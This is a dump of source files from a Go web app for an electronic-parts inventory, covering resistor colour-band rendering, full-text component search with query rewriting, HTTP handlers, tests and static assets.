109 | case c == 'k' || c == 'K':
110 | exp = exp + 3
111 | case c == 'M':
112 | exp = exp + 6
113 | default:
114 | return nil // invalid character.
115 | }
116 | }
117 |
118 | // See how many relevant digits we have. Zeroes at end don't count
119 | relevant_digits := 0
120 | for relevant_digits = len(digits); relevant_digits > 0 && digits[relevant_digits-1] == 0; relevant_digits-- {
121 | //
122 | }
123 | if relevant_digits < 2 { // Not 100% accurate, but good enough for now
124 | relevant_digits = relevant_digits + post_dot_digits
125 | }
126 | var result []int
127 | var multiplier_digit int
128 | if relevant_digits <= 2 {
129 | multiplier_digit = expToIndex(exp - 2)
130 | result = []int{digits[0], digits[1], multiplier_digit,
131 | toleranceFromString(tolerance /*default 5%:*/, 10)}
132 | } else {
133 | multiplier_digit = expToIndex(exp - 3)
134 | result = []int{digits[0], digits[1], digits[2], multiplier_digit,
135 | toleranceFromString(tolerance /*default 1%:*/, 1)}
136 | }
137 | if multiplier_digit >= 0 {
138 | return result
139 | } else {
140 | return nil
141 | }
142 | }
143 |
144 | var tolerance_regexp, _ = regexp.Compile(`((0?.)?\d+\%)`)
145 |
146 | func serveResistorImage(component *Component, value string, tmpl *TemplateRenderer, out http.ResponseWriter) bool {
147 | defer ElapsedPrint("resistor-image", time.Now())
148 |
149 | tolerance := ""
150 | if component != nil {
151 | if len(value) == 0 {
152 | value = component.Value
153 | }
154 | if match := tolerance_regexp.FindStringSubmatch(component.Description); match != nil {
155 | tolerance = match[1]
156 | }
157 | }
158 |
159 | digits := extractResistorDigits(value, tolerance)
160 | if digits == nil {
161 | return false
162 | }
163 |
164 | bands := &ResistorTemplate{
165 | Value: value + "Ω",
166 | }
167 | if len(digits) == 4 {
168 | bands.First = resistorColorConstants[digits[0]]
169 | bands.Second = resistorColorConstants[digits[1]]
170 | bands.Multiplier = resistorColorConstants[digits[2]]
171 | bands.Tolerance = resistorColorConstants[digits[3]]
172 | tmpl.Render(out, "4-Band_Resistor.svg", bands)
173 | } else {
174 | bands.First = resistorColorConstants[digits[0]]
175 | bands.Second = resistorColorConstants[digits[1]]
176 | bands.Third = resistorColorConstants[digits[2]]
177 | bands.Multiplier = resistorColorConstants[digits[3]]
178 | bands.Tolerance = resistorColorConstants[digits[4]]
179 | tmpl.Render(out, "5-Band_Resistor.svg", bands)
180 | }
181 |
182 | return true
183 | }
184 |
--------------------------------------------------------------------------------
/stuff/resistor-image_test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "testing"
5 | )
6 |
7 | func ExpectValue(t *testing.T, expected []int, value string, tolerance string) bool {
8 | result := extractResistorDigits(value, tolerance)
9 | if result == nil && expected != nil {
10 | t.Errorf("Unexpected nil for '%s'", value)
11 | return false
12 | }
13 | if len(result) != len(expected) {
14 | t.Errorf("%s: Expected len %d but got %d", value, len(expected), len(result))
15 | return false
16 | }
17 | for idx := range result {
18 | if expected[idx] != result[idx] {
19 | t.Errorf("%s expected[%d] != result[%d] (%d vs. %d)",
20 | value, idx, idx, expected[idx], result[idx])
21 | }
22 | }
23 | return true
24 | }
25 |
26 | func TestExtractResistorValue(t *testing.T) {
27 | ExpectValue(t, []int{1, 0, 2, 10}, "1k", "5%")
28 | ExpectValue(t, []int{1, 0, 2, 10}, "1k", "")
29 |
30 | ExpectValue(t, []int{1, 0, 2, 1}, "1k", "1%")
31 | ExpectValue(t, []int{1, 0, 2, 5}, "1k", "0.5%")
32 | ExpectValue(t, []int{1, 0, 2, 5}, "1k", ".5%")
33 |
34 | // Without tolerance, we assume 5% for two digit, 1% for
35 | // three digit values.
36 | ExpectValue(t, []int{1, 0, 2, 10}, "1.0k", "")
37 | ExpectValue(t, []int{1, 0, 0, 1, 1}, "1.00k", "")
38 |
39 | ExpectValue(t, []int{1, 0, 3, 10}, "10k", "")
40 | ExpectValue(t, []int{1, 0, 4, 10}, "100k", "")
41 | ExpectValue(t, []int{1, 0, 4, 10}, "100000", "")
42 |
43 | ExpectValue(t, []int{2, 3, 7, 2, 1}, "23.7k", "")
44 |
45 | ExpectValue(t, []int{1, 5, 10, 10}, "1.5", "")
46 | ExpectValue(t, []int{1, 5, 11, 10}, "0.15", "")
47 |
48 | ExpectValue(t, nil, "10k x", "5%") // garbage in.
49 |
50 | ExpectValue(t, nil, "0.111", "5%") // impossible multiplier
51 | ExpectValue(t, []int{1, 1, 1, 11, 1}, "1.11", "")
52 | }
53 |
--------------------------------------------------------------------------------
/stuff/search-handler.go:
--------------------------------------------------------------------------------
1 | // Handling search: show page, deal with JSON requests.
2 | // Also: provide a more clean API.
3 | package main
4 |
5 | import (
6 | "encoding/json"
7 | "fmt"
8 | "html"
9 | "net/http"
10 | "net/url"
11 | "os"
12 | "strconv"
13 | "strings"
14 | "time"
15 | )
16 |
17 | const (
18 | kSearchPage = "/search"
19 | kApiSearchFormatted = "/api/search-formatted"
20 | kApiSearch = "/api/search"
21 | )
22 |
23 | type SearchHandler struct {
24 | store StuffStore
25 | template *TemplateRenderer
26 | imagehandler *ImageHandler
27 | }
28 |
29 | func AddSearchHandler(store StuffStore, template *TemplateRenderer, imagehandler *ImageHandler) {
30 | handler := &SearchHandler{
31 | store: store,
32 | template: template,
33 | imagehandler: imagehandler,
34 | }
35 | http.Handle(kSearchPage, handler)
36 | http.Handle("/", handler)
37 | http.Handle(kApiSearchFormatted, handler)
38 | http.Handle(kApiSearch, handler)
39 | }
40 |
41 | func (h *SearchHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) {
42 | switch {
43 | case strings.HasPrefix(req.URL.Path, kApiSearchFormatted):
44 | h.apiSearchPageItem(out, req)
45 | case strings.HasPrefix(req.URL.Path, kApiSearch):
46 | h.apiSearch(out, req)
47 | default:
48 | h.showSearchPage(out, req)
49 | }
50 | }
51 |
52 | func (h *SearchHandler) showSearchPage(out http.ResponseWriter, r *http.Request) {
53 | out.Header().Set("Content-Type", "text/html; charset=utf-8")
54 | // Just static html. Maybe serve from /static ?
55 | content, _ := os.ReadFile(h.template.baseDir + "/search-result.html")
56 | out.Write(content)
57 | }
58 |
59 | type JsonComponent struct {
60 | Component
61 | Image string `json:"img"`
62 | }
63 | type JsonApiSearchResult struct {
64 | Directlink string `json:"link"`
65 | Items []JsonComponent `json:"components"`
66 | }
67 |
68 | func encodeUriComponent(str string) string {
69 | u, err := url.Parse(str)
70 | if err != nil {
71 | return ""
72 | }
73 | return u.String()
74 | }
75 | func (h *SearchHandler) apiSearch(out http.ResponseWriter, r *http.Request) {
76 | // Allow very brief caching, so that editing the query does not
77 | // necessarily has to trigger a new server roundtrip.
78 | out.Header().Set("Cache-Control", "max-age=10")
79 | out.Header().Set("Content-Type", "application/json")
80 | defaultOutLen := 20
81 | maxOutLen := 100 // Limit max output
82 | query := r.FormValue("q")
83 | limit, _ := strconv.Atoi(r.FormValue("count"))
84 | if limit <= 0 {
85 | limit = defaultOutLen
86 | }
87 | if limit > maxOutLen {
88 | limit = maxOutLen
89 | }
90 | var searchResults *SearchResult
91 | if query != "" {
92 | searchResults = h.store.Search(query)
93 | }
94 | outlen := limit
95 | if len(searchResults.Results) < limit {
96 | outlen = len(searchResults.Results)
97 | }
98 | jsonResult := &JsonApiSearchResult{
99 | Directlink: encodeUriComponent("/search#" + query),
100 | Items: make([]JsonComponent, outlen),
101 | }
102 |
103 | for i := 0; i < outlen; i++ {
104 | var c = searchResults.Results[i]
105 | jsonResult.Items[i].Component = *c
106 | jsonResult.Items[i].Image = fmt.Sprintf("/img/%d", c.Id)
107 | }
108 |
109 | json, _ := json.MarshalIndent(jsonResult, "", " ")
110 | out.Write(json)
111 | }
112 |
113 | // Pre-formatted search for quick div replacements.
114 | type JsonHtmlSearchResultRecord struct {
115 | Id int `json:"id"`
116 | Label string `json:"txt"`
117 | ImgUrl string `json:"img"`
118 | }
119 |
120 | type JsonHtmlSearchResult struct {
121 | Count int `json:"count"`
122 | QueryInfo string `json:"queryinfo"`
123 | ResultInfo string `json:"resultinfo"`
124 | Items []JsonHtmlSearchResultRecord `json:"items"`
125 | }
126 |
127 | func (h *SearchHandler) apiSearchPageItem(out http.ResponseWriter, r *http.Request) {
128 | defer ElapsedPrint("Query", time.Now())
129 | // Allow very brief caching, so that editing the query does not
130 | // necessarily has to trigger a new server roundtrip.
131 | out.Header().Set("Cache-Control", "max-age=10")
132 | query := r.FormValue("q")
133 | if query == "" {
134 | out.Write([]byte(`{"count":0, "queryinfo":"", "resultinfo":"", "items":[]}`))
135 | return
136 | }
137 | start := time.Now()
138 | searchResults := h.store.Search(query)
139 | elapsed := time.Since(start)
140 | elapsed = time.Microsecond * ((elapsed + time.Microsecond/2) / time.Microsecond)
141 |
142 | // We only want to output a query info if it actually has been
143 | // rewritten, e.g. 0.1u becomes (100n | 0.1u)
144 | queryInfo := ""
145 | if searchResults.RewrittenQuery != searchResults.OrignialQuery {
146 | queryInfo = searchResults.RewrittenQuery
147 | }
148 |
149 | outlen := 24 // Limit max output
150 | if len(searchResults.Results) < outlen {
151 | outlen = len(searchResults.Results)
152 | }
153 | jsonResult := &JsonHtmlSearchResult{
154 | Count: len(searchResults.Results),
155 | ResultInfo: fmt.Sprintf("%d results (%s)", len(searchResults.Results), elapsed),
156 | QueryInfo: queryInfo,
157 | Items: make([]JsonHtmlSearchResultRecord, outlen),
158 | }
159 |
160 | pusher, _ := out.(http.Pusher) // HTTP/2 pushing if available.
161 |
162 | for i := 0; i < outlen; i++ {
163 | var c = searchResults.Results[i]
164 | jsonResult.Items[i].Id = c.Id
165 | if h.imagehandler.hasComponentImage(c) {
166 | imgUrl := fmt.Sprintf("/img/%d", c.Id)
167 | jsonResult.Items[i].ImgUrl = imgUrl
168 | if pusher != nil {
169 | // TODO(hzeller): we should be more smart and
170 | // only push stuff that is not likely cached
171 | // already on the client. So we need a HTTP
172 | // session and keep some timely rotating
173 | // bloom filter or something.
174 | // For now: push all the things.
175 | // Ignore error, this is best effort.
176 | _ = pusher.Push(imgUrl, nil)
177 | }
178 | } else {
179 | jsonResult.Items[i].ImgUrl = "/static/fallback.png"
180 | }
181 | jsonResult.Items[i].Label = "" + html.EscapeString(c.Value) + " " +
182 | html.EscapeString(c.Description) +
183 | fmt.Sprintf(" (ID:%d)", c.Id)
184 | }
185 |
186 | json, _ := json.Marshal(jsonResult)
187 | out.Write(json)
188 | }
189 |
--------------------------------------------------------------------------------
/stuff/search.go:
--------------------------------------------------------------------------------
1 | // A search that keeps everything in memory and knows about meaning
2 | // of some component fields as well as how to create some nice scoring.
3 | package main
4 |
5 | import (
6 | "fmt"
7 | "regexp"
8 | "sort"
9 | "strconv"
10 | "strings"
11 | "sync"
12 | )
13 |
14 | var (
15 | andRewrite = regexp.MustCompile(`(?i)( and )`)
16 | orRewrite = regexp.MustCompile(`(?i)( or )`)
17 | possibleResistor = regexp.MustCompile(`(?i)([0-9]+(\.[0-9]+)*[kM]?)(\s*Ohm?)`)
18 | possibleSmallMicrofarad = regexp.MustCompile(`(?i)(0?\.[0-9]+)u(\w*)`)
19 | logicalTerm = regexp.MustCompile(`(?i)([\(\)\|])`)
20 | likeTerm = regexp.MustCompile(`(?i)like:([0-9]+)`)
21 | )
22 |
23 | // componentResolver converts a componentID to a string containing the
24 | // component's terms or blank if the component doesn't exist.
25 | type componentResolver func(componentID int) string
26 |
27 | func isSeparator(c byte) bool {
28 | return c == ' ' || c == '\t' || c == '\n' || c == '.' || c == ',' || c == ';'
29 | }
30 |
31 | func queryRewrite(term string, componentLookup componentResolver) string {
32 | term = andRewrite.ReplaceAllString(term, " ")
33 |
34 | term = orRewrite.ReplaceAllString(term, " | ")
35 |
36 | term = possibleResistor.ReplaceAllString(term, "($0 | ($1 (resistor|potentiometer|r-network)))")
37 |
38 | // Nanofarad values are often given as 0.something microfarad.
39 | // Internally, all capacitors are normalized to nanofarad.
40 | if cmatch := possibleSmallMicrofarad.FindStringSubmatch(term); cmatch != nil {
41 | val, err := strconv.ParseFloat(cmatch[1], 32)
42 | if err == nil {
43 | term = possibleSmallMicrofarad.ReplaceAllString(
44 | term, fmt.Sprintf("($0 | %.0fn$2)", 1000*val))
45 | }
46 | }
47 |
48 | term = likeTerm.ReplaceAllStringFunc(term, func(match string) string {
49 | split := strings.SplitN(match, ":", 2)
50 | if len(split) != 2 {
51 | return match
52 | }
53 | val, err := strconv.ParseInt(split[1], 10, 32)
54 | if err != nil {
55 | return match
56 | }
57 |
58 | return fmt.Sprintf("(%s)", componentLookup(int(val)))
59 | })
60 |
61 | return term
62 | }
63 |
64 | func preprocessTerm(term string) string {
65 | // For simplistic parsing, add spaces around special characters (|)
66 | term = logicalTerm.ReplaceAllString(term, " $1 ")
67 |
68 | // * Lowercase: we want to be case insensitive
69 | // * Dash remove: we consider dashes to join words and we want to be
70 | // agnostic to various spellings (might break down with minus signs
71 | // (e.g. -50V), so might need refinement later)
72 | return strings.Replace(strings.ToLower(term), "-", "", -1)
73 | }
74 |
75 | func StringScore(needle string, haystack string) float32 {
76 | pos := strings.Index(haystack, needle)
77 | if pos < 0 {
78 | return 0
79 | }
80 | endword := pos + len(needle)
81 | var boost float32 = 0.0
82 | if pos == 0 || isSeparator(haystack[pos-1]) {
83 | boost = 12.0 // word starts with it
84 | }
85 | if endword == len(haystack) || isSeparator(haystack[endword]) {
86 | boost += 5.0 // word ends with it
87 | }
88 | result := 10 - pos // early in string: higher score
89 | if result < 1 {
90 | return 1 + boost
91 | } else {
92 | return float32(result) + boost
93 | }
94 | }
95 |
96 | func maxlist(values ...float32) (max float32) {
97 | max = 0
98 | for _, v := range values {
99 | if v > max {
100 | max = v
101 | }
102 | }
103 | return
104 | }
105 |
106 | // Score terms, starting at index 'start' and goes to the end of the current
107 | // term (closing parenthesis or end of string). Returns score and
108 | // last index it went up to.
109 | // Treats consecutive terms as 'AND' until it reaches an 'OR' operator.
110 | // Like in real life, precedence AND > OR, and there are parenthesis to eval
111 | // terms differently.
112 | //
113 | // Scoring per component is done on a couple of important fields, but weighted
114 | // according to their importance (e.g. the Value field scores more than Info).
115 | //
116 | // Since we are dealing with real number scores instead of simple boolean
117 | // matches, the AND and OR operators are implemented to return results like
118 | // that.
119 | // - If any of the subscore of an AND expression is zero, the result is zero.
120 | // Otherwise, all sub-scores are added up: this gives a meaningful ordering
121 | // for componets that match all terms in the AND expression.
122 | // the result is zero.
123 | // - For the OR-operation, we take the highest scoring sub-term. Thus if
124 | // multiple sub-terms in the OR expression match, this won't result in
125 | // keyword stuffing (though one could consider adding a much smaller
126 | // constant weight for number of sub-terms that do match).
127 | func (c *SearchComponent) scoreTerms(terms []string, start int) (float32, int) {
128 | var last_or_term float32 = 0.0
129 | var current_score float32 = 0.0
130 | for i := start; i < len(terms); i++ {
131 | part := terms[i]
132 | if part == "(" && i < len(terms)-1 {
133 | sub_score, subterm_end := c.scoreTerms(terms, i+1)
134 | if sub_score <= 0 {
135 | current_score = -1000 // See below for reasoning
136 | } else {
137 | current_score += sub_score
138 | }
139 | i = subterm_end
140 | continue
141 | }
142 | if part == "|" {
143 | last_or_term = maxlist(last_or_term, current_score)
144 | current_score = 0
145 | continue
146 | }
147 | if part == ")" && start != 0 {
148 | return maxlist(last_or_term, current_score), i
149 | }
150 | // Avoid keyword stuffing by looking only at the field
151 | // that scores the most.
152 | // NOTE: more fields here, add to lowerCased below.
153 | score := maxlist(2.0*StringScore(part, c.preprocessed.Category),
154 | 3.0*StringScore(part, c.preprocessed.Value),
155 | 1.5*StringScore(part, c.preprocessed.Description),
156 | 1.2*StringScore(part, c.preprocessed.Notes),
157 | 1.0*StringScore(part, c.preprocessed.Footprint))
158 | if score == 0 {
159 | // We essentially would do an early out here, but
160 | // since we're in the middle of parsing until we reach
161 | // the next OR, we do the simplistic thing here:
162 | // just make it impossible to have max()
163 | // give a positive result with the last term.
164 | // (todo: if this becomes a problem, implement early out)
165 | current_score = -1000
166 | } else {
167 | current_score += score
168 | }
169 | }
170 | return maxlist(last_or_term, current_score), len(terms)
171 | }
172 |
173 | // Matches the component and returns a score
174 | func (c *SearchComponent) MatchScore(term string) float32 {
175 | score, _ := c.scoreTerms(strings.Fields(term), 0)
176 | return score
177 | }
178 |
179 | // ToQuery converts the component into a normalized search query that can be
180 | // used to find similar components.
181 | func (c *SearchComponent) ToQuery() string {
182 | sb := &strings.Builder{}
183 |
184 | for _, tmp := range []string{
185 | c.preprocessed.Category,
186 | c.preprocessed.Description,
187 | c.preprocessed.Notes,
188 | c.preprocessed.Value,
189 | c.preprocessed.Footprint,
190 | } {
191 | sb.WriteString(tmp)
192 | sb.WriteString(" ")
193 | }
194 |
195 | return fmt.Sprintf("(%s)", strings.Join(strings.Fields(sb.String()), "|"))
196 | }
197 |
198 | type SearchComponent struct {
199 | orig *Component
200 | preprocessed *Component
201 | }
202 | type FulltextSearch struct {
203 | lock sync.RWMutex
204 | id2Component map[int]*SearchComponent
205 | }
206 |
207 | func NewFulltextSearch() *FulltextSearch {
208 | return &FulltextSearch{
209 | id2Component: make(map[int]*SearchComponent),
210 | }
211 | }
212 |
213 | type ScoredComponent struct {
214 | score float32
215 | comp *Component
216 | }
217 | type ScoreList []*ScoredComponent
218 |
219 | func (s ScoreList) Len() int {
220 | return len(s)
221 | }
222 | func (s ScoreList) Swap(i, j int) {
223 | s[i], s[j] = s[j], s[i]
224 | }
225 | func (s ScoreList) Less(a, b int) bool {
226 | diff := s[a].score - s[b].score
227 | if diff != 0 {
228 | // We want to reverse score: highest match first
229 | return diff > 0
230 | }
231 |
232 | if s[a].comp.Value != s[b].comp.Value {
233 | // Items that have a value vs. none are scored higher.
234 | if s[a].comp.Value == "" {
235 | return false
236 | }
237 | if s[b].comp.Value == "" {
238 | return true
239 | }
240 | // other than that: alphabetically
241 | return s[a].comp.Value < s[b].comp.Value
242 | }
243 |
244 | if s[a].comp.Description != s[b].comp.Description {
245 | // Items that have a Description vs. none are scored higher.
246 | if s[a].comp.Description == "" {
247 | return false
248 | }
249 | if s[b].comp.Description == "" {
250 | return true
251 | }
252 | }
253 |
254 | // If we reach this, make it at least predictable.
255 | return s[a].comp.Id < s[b].comp.Id // stable
256 | }
257 |
258 | func (s *FulltextSearch) Update(c *Component) {
259 | if c == nil {
260 | return
261 | }
262 | lowerCased := &Component{
263 | // Only the fields we are interested in.
264 | Category: preprocessTerm(c.Category),
265 | Value: preprocessTerm(c.Value),
266 | Description: preprocessTerm(c.Description),
267 | Notes: preprocessTerm(c.Notes),
268 | Footprint: preprocessTerm(c.Footprint),
269 | }
270 | s.lock.Lock()
271 | s.id2Component[c.Id] = &SearchComponent{
272 | orig: c,
273 | preprocessed: lowerCased,
274 | }
275 | s.lock.Unlock()
276 | }
277 | func (s *FulltextSearch) Search(search_term string) *SearchResult {
278 | output := &SearchResult{
279 | OrignialQuery: search_term,
280 | }
281 |
282 | search_term = queryRewrite(search_term, s.componentTerms)
283 | output.RewrittenQuery = search_term
284 | search_term = preprocessTerm(search_term)
285 | s.lock.RLock()
286 | scoredlist := make(ScoreList, 0, 10)
287 | for _, search_comp := range s.id2Component {
288 | scored := &ScoredComponent{
289 | score: search_comp.MatchScore(search_term),
290 | comp: search_comp.orig,
291 | }
292 | if scored.score > 0 {
293 | scoredlist = append(scoredlist, scored)
294 | }
295 | }
296 | s.lock.RUnlock()
297 | sort.Sort(ScoreList(scoredlist))
298 | output.Results = make([]*Component, len(scoredlist))
299 | for idx, scomp := range scoredlist {
300 | output.Results[idx] = scomp.comp
301 | }
302 | return output
303 | }
304 |
305 | func (s *FulltextSearch) componentTerms(componentID int) string {
306 | s.lock.RLock()
307 | defer s.lock.RUnlock()
308 |
309 | component, ok := s.id2Component[componentID]
310 | if !ok {
311 | return ""
312 | }
313 |
314 | return component.ToQuery()
315 | }
316 |
317 | // Validate that componentTerms is a componentResolver.
318 | var _ (componentResolver) = ((*FulltextSearch)(nil)).componentTerms
319 |
--------------------------------------------------------------------------------
/stuff/search_test.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "testing"
6 | )
7 |
8 | func expectMatch(t *testing.T, s *SearchComponent, term string, expected bool) {
9 | if (s.MatchScore(preprocessTerm(term)) <= 0) == expected {
10 | if expected {
11 | t.Errorf("'%s' did not match as expected", term)
12 | } else {
13 | t.Errorf("'%s' unexpectedly matched", term)
14 | }
15 | }
16 | }
17 |
18 | func expectEqual(t *testing.T, a string, b string) {
19 | if a != b {
20 | t.Errorf("'%s' != '%s'", a, b)
21 | }
22 | }
23 |
24 | func TestSearchOperators(t *testing.T) {
25 | s := &SearchComponent{
26 | preprocessed: &Component{
27 | Category: "resist",
28 | Value: "foo",
29 | },
30 | }
31 | expectMatch(t, s, "foo", true) // direct match
32 | expectMatch(t, s, "bar", false) // not a match
33 |
34 | // AND expressions require all terms match
35 | expectMatch(t, s, "foo foo", true)
36 | expectMatch(t, s, "foo bar", false)
37 | expectMatch(t, s, "foo bar", false)
38 |
39 | // Simple OR expression. One term matches
40 | expectMatch(t, s, "foo|bar", true) // OR expression
41 | expectMatch(t, s, "(foo|bar)", true) // same thing
42 | expectMatch(t, s, "(foo|bar", true) // unbalanced paren: ok
43 | expectMatch(t, s, "foo|bar)", true) // unbalanced paren: ok
44 |
45 | expectMatch(t, s, "bar|baz", false) // OR expression, no matches
46 |
47 | // AND of ORs, but not all AND terms matching
48 | expectMatch(t, s, "(foo|bar) (bar|baz)", false)
49 | expectMatch(t, s, "(bar|baz) (foo|baz)", false)
50 | expectMatch(t, s, "(foo|baz) (foo|baz)", true) // both AND terms ok
51 |
52 | // OR together with AND
53 | expectMatch(t, s, "foo (foo|bar)", true)
54 | expectMatch(t, s, "(foo|bar) foo", true)
55 | expectMatch(t, s, "baz (foo|bar)", false) // AND-ing with non-match
56 | expectMatch(t, s, "(foo|bar) baz", false)
57 | expectMatch(t, s, "((foo|bar) baz)", false)
58 |
59 | // Simulating the Ohm-rewrite
60 | expectMatch(t, s, "(bar | (foo (baz|resist)))", true)
61 | expectMatch(t, s, "(bar | (foo (baz|wrongcategory)))", false)
62 | expectMatch(t, s, "(foo | (bar (baz|resist)))", true)
63 | expectMatch(t, s, "(foo foo | (bar (baz|resist)))", true)
64 | expectMatch(t, s, "(bar | (bar (baz|resist)))", false)
65 | }
66 |
67 | func TestQueryRewrite(t *testing.T) {
68 | cExpand := func(i int) string {
69 | return fmt.Sprintf("", i)
70 | }
71 |
72 | // Identity
73 | expectEqual(t, queryRewrite("foo", cExpand), "foo")
74 | expectEqual(t, queryRewrite("10k", cExpand), "10k")
75 |
76 | // AND, OR rewrite to internal operators
77 | expectEqual(t, queryRewrite("foo AND bar", cExpand), "foo bar")
78 | expectEqual(t, queryRewrite("foo OR bar", cExpand), "foo | bar")
79 | expectEqual(t, queryRewrite("(foo AND bar) OR (bar AND baz)", cExpand),
80 | "(foo bar) | (bar baz)")
81 |
82 | // Only mess with it if it is with spaces.
83 | expectEqual(t, queryRewrite("fooANDbar", cExpand), "fooANDbar")
84 | expectEqual(t, queryRewrite("fooORbar", cExpand), "fooORbar")
85 |
86 | // We store resistors without the 'Ohm' suffix. So if someone adds
87 | // Ohm to the value, expand the query to match the raw number plus
88 | // something that narrows it to resistor. But also still look for the
89 | // original value in case this is something
90 | expectEqual(t, queryRewrite("10k", cExpand), "10k") // no rewrite
91 | expectEqual(t, queryRewrite("3.9k", cExpand), "3.9k") // no rewrite
92 | expectEqual(t, queryRewrite("10kOhm", cExpand), "(10kOhm | (10k (resistor|potentiometer|r-network)))")
93 | expectEqual(t, queryRewrite("10k Ohm", cExpand), "(10k Ohm | (10k (resistor|potentiometer|r-network)))")
94 | expectEqual(t, queryRewrite("3.9kOhm", cExpand), "(3.9kOhm | (3.9k (resistor|potentiometer|r-network)))")
95 | expectEqual(t, queryRewrite("3.kOhm", cExpand), "3.kOhm") // silly number.
96 |
97 | expectEqual(t, queryRewrite("0.1u", cExpand), "(0.1u | 100n)")
98 | expectEqual(t, queryRewrite(".1u", cExpand), "(.1u | 100n)")
99 | expectEqual(t, queryRewrite("0.1uF", cExpand), "(0.1uF | 100nF)")
100 | expectEqual(t, queryRewrite("0.01u", cExpand), "(0.01u | 10n)")
101 | expectEqual(t, queryRewrite("0.068u", cExpand), "(0.068u | 68n)")
102 |
103 | // Similarity search looks up the component details.
104 | expectEqual(t, queryRewrite("like:42", cExpand), "()")
105 | expectEqual(t, queryRewrite("like:foo", cExpand), "like:foo") // silly number.
106 | }
107 |
108 | func TestSearchComponent_ToQuery(t *testing.T) {
109 |
110 | cases := map[string]struct {
111 | component Component
112 | expect string
113 | }{
114 | "blank component": {
115 | component: Component{},
116 | expect: "()",
117 | },
118 | "category filled": {
119 | component: Component{Category: "resistor"},
120 | expect: "(resistor)",
121 | },
122 | "description filled": {
123 | component: Component{Description: "description"},
124 | expect: "(description)",
125 | },
126 | "notes filled": {
127 | component: Component{Notes: "notes"},
128 | expect: "(notes)",
129 | },
130 | "value filled": {
131 | component: Component{Value: "value"},
132 | expect: "(value)",
133 | },
134 | "footprint filled": {
135 | component: Component{Footprint: "footprint"},
136 | expect: "(footprint)",
137 | },
138 | "full component": {
139 | component: Component{
140 | Category: "category",
141 | Description: "d1 d2",
142 | Notes: "n1 n2",
143 | Value: "value",
144 | Footprint: "footprint",
145 | },
146 | expect: "(category|d1|d2|n1|n2|value|footprint)",
147 | },
148 | "ignored fields": {
149 | component: Component{
150 | Datasheet_url: "https://example.com",
151 | Drawersize: 3,
152 | Quantity: "300ish",
153 | },
154 | expect: "()",
155 | },
156 | }
157 |
158 | for tn, tc := range cases {
159 | t.Run(tn, func(t *testing.T) {
160 | s := &SearchComponent{
161 | preprocessed: &tc.component,
162 | }
163 |
164 | expectEqual(t, s.ToQuery(), tc.expect)
165 | })
166 | }
167 |
168 | }
169 |
--------------------------------------------------------------------------------
/stuff/sitemap-handler.go:
--------------------------------------------------------------------------------
1 | package main
2 |
3 | import (
4 | "fmt"
5 | "net/http"
6 | )
7 |
8 | const (
9 | kSitemap = "/sitemap.txt"
10 | )
11 |
12 | type SitemapHandler struct {
13 | store StuffStore
14 | siteprefix string
15 | }
16 |
17 | func AddSitemapHandler(store StuffStore, siteprefix string) {
18 | handler := &SitemapHandler{
19 | store: store,
20 | siteprefix: siteprefix,
21 | }
22 | http.Handle(kSitemap, handler)
23 | }
24 |
25 | func (h *SitemapHandler) ServeHTTP(out http.ResponseWriter, req *http.Request) {
26 | out.Header().Set("Content-Type", "text/plain; charset=utf-8")
27 | h.store.IterateAll(func(c *Component) bool {
28 | fmt.Fprintf(out, "%s/form?id=%d\n", h.siteprefix, c.Id)
29 | return true
30 | })
31 | }
32 |
--------------------------------------------------------------------------------
/stuff/static/edit-pen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/edit-pen.png
--------------------------------------------------------------------------------
/stuff/static/empty-box.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/empty-box.png
--------------------------------------------------------------------------------
/stuff/static/fallback.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/fallback.png
--------------------------------------------------------------------------------
/stuff/static/manifest.json:
--------------------------------------------------------------------------------
1 | {
2 | "short_name": "Parts",
3 | "name": "Parts and Stuff",
4 | "icons": [
5 | {
6 | "src": "/static/stuff-512.png",
7 | "type": "image/png",
8 | "sizes": "512x512"
9 | },
10 | {
11 | "src": "/static/stuff-192.png",
12 | "type": "image/png",
13 | "sizes": "192x192"
14 | }
15 | ],
16 | "start_url": "/search",
17 | "background_color": "#FFFFFF",
18 | "display": "standalone",
19 | "theme_color": "#FFFFFF"
20 | }
21 |
--------------------------------------------------------------------------------
/stuff/static/mystery.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/mystery.png
--------------------------------------------------------------------------------
/stuff/static/non-edit-pen.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/non-edit-pen.png
--------------------------------------------------------------------------------
/stuff/static/robots.txt:
--------------------------------------------------------------------------------
1 | User-agent: *
2 | Disallow: /api # Not useful in SERPs
3 |
4 | Sitemap: /sitemap.txt
5 |
--------------------------------------------------------------------------------
/stuff/static/stuff-192.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/stuff-192.png
--------------------------------------------------------------------------------
/stuff/static/stuff-512.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/stuff-512.png
--------------------------------------------------------------------------------
/stuff/static/stuff-icon.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/surefootedbow/stuff-org/d392f4f3510875248a3083ad6eab1e833dfb91b3/stuff/static/stuff-icon.png
--------------------------------------------------------------------------------
/stuff/static/stuff.css:
--------------------------------------------------------------------------------
1 | body {font-family:sans-serif;}
2 | :link { color: black; }
3 | :visited { color: black; }
4 |
5 | /** Application TABs **/
6 | .seltab {
7 | background-color:#ccccff;
8 | padding: 2px 30px;
9 | border-radius:8px;
10 | font-weight:bold;
11 | }
12 | .deseltab {
13 | background-color:#dddddd;
14 | padding: 2px 30px;
15 | border-radius:8px;
16 | text-decoration: none;
17 | font-weight:bold;
18 | }
19 |
20 | /** Status display related styles, needed in various places **/
21 | .empty {
